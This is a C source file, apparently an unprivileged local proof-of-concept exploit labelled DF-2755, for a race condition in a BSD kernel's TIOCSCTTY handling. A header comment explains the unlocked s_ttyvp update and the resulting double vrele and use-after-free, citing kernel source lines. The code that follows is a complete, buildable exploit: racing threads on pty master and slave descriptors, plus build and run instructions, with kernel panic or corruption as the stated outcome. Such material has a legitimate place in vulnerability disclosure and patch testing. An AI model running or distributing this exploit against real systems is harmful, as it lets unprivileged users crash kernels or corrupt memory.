DF-2755 / df2755.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-2755 โ TIOCSCTTY s_ttyvp unsynchronized read-modify-write race * -> double vrele() of the old controlling-tty vnode * -> v_refcnt underflow -> premature vnode destruction (UAF) * * Unprivileged local PoC. * * The TIOCSCTTY post-processing in the vnode layer performs, on success: * * devfs twin (sys/vfs/devfs/devfs_vnops.c:1595-1611, NO lock at all): * vn_ioctl twin (sys/kern/vfs_vnops.c:1039-1054, mplock only โ which * excludes neither twin nor the s_ttyvp clearers): * * if (sess->s_ttyvp == vp) return; -- early-out * ovp = sess->s_ttyvp; -- racy read * vref(vp); -- contended atomic * sess->s_ttyvp = vp; -- racy store * if (ovp) vrele(ovp); -- paired release * * All tty fds land on devfs_dev_fileops (devfs VOP_OPEN switches f_ops at * devfs_vnops.c:1078), so the reachable twin is the unlocked devfs one. * ttioctl's gate (tty.c:1181) passes for the session leader whenever * tp->t_session == p->p_session โ sticky for the pty lifetime. * * Two threads of the session leader whose fds resolve to DIFFERENT vnodes * of the same tty (pty MASTER vnode vs pty SLAVE vnode) make the slot * ping-pong. Whenever two same-side threads both read the same ovp before * either stores, both vrele() it: the s_ttyvp slot accounted exactly one * reference, two are released -> v_refcnt underflow. A couple of hits on * a vnode whose live references are the slot + one open fd drive v_refcnt * to 0 while the fd is still open -> premature vnode destruction -> * use-after-free (type confusion on recycle). * * Build: cc -O2 -pthread -o df2755 df2755.c * Run (unprivileged): ./df2755 [threads_per_side] [seconds] * Expected: kernel panic (INVARIANTS "vref: bad refcnt" / lockmgr / * devfs), a wedged ioctl (lock on destroyed vnode), or silent * corruption surfacing in the churn phase. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <sys/ioctl.h> #include <sys/types.h> static volatile int stop; static volatile unsigned long long niter[2]; static int fdm, fdS; static void * racer(void *arg) { unsigned long long local = 0; long side = (long)arg; int fd = side ? fdS : fdm; int zero = 0; while (!stop) { ioctl(fd, TIOCSCTTY, &zero); local++; } __sync_fetch_and_add(&niter[side], local); return NULL; } int main(int argc, char **argv) { int per_side = (argc > 1) ? atoi(argv[1]) : 3; int seconds = (argc > 2) ? atoi(argv[2]) : 60; pthread_t th[128]; char pts[128]; int zero = 0; int i, n; alarm(seconds + 60); /* hard exit if the kernel wedges */ if (setsid() < 0) { perror("setsid"); return 1; } fdm = posix_openpt(O_RDWR | O_NOCTTY); if (fdm < 0) { perror("posix_openpt"); return 1; } { char *p = ptsname(fdm); if (!p) { perror("ptsname"); return 1; } snprintf(pts, sizeof(pts), "%s", p); } fdS = open(pts, O_RDWR | O_NOCTTY); if (fdS < 0) { perror("open slave"); return 1; } /* Arm the slot: s_ttyvp = slave vnode; both fds stay open forever. */ if (ioctl(fdS, TIOCSCTTY, &zero) != 0) { perror("ioctl(fdS, TIOCSCTTY) arm"); return 1; } printf("[*] leader pid %d master=%d slave=%d (%s)\n", getpid(), fdm, fdS, pts); printf("[*] %d racer threads per side, %ds\n", per_side, seconds); fflush(stdout); if (per_side > 64) per_side = 64; n = 0; for (i = 0; i < per_side; i++) { pthread_create(&th[n], NULL, racer, (void *)(long)0); n++; pthread_create(&th[n], NULL, racer, (void *)(long)1); n++; } sleep(seconds); stop = 1; for (i = 0; i < n; i++) pthread_join(th[i], NULL); printf("[*] iterations master-side=%llu slave-side=%llu\n", niter[0], niter[1]); /* Churn: touch both vnodes to surface any premature destruction. */ for (i = 0; i < 1000; i++) { ioctl(fdm, TIOCGPGRP, &zero); ioctl(fdS, TIOCGPGRP, &zero); fcntl(fdm, F_GETFL); fcntl(fdS, F_GETFL); } printf("[*] churn done, exiting cleanly (no crash observed)\n"); return 0; } |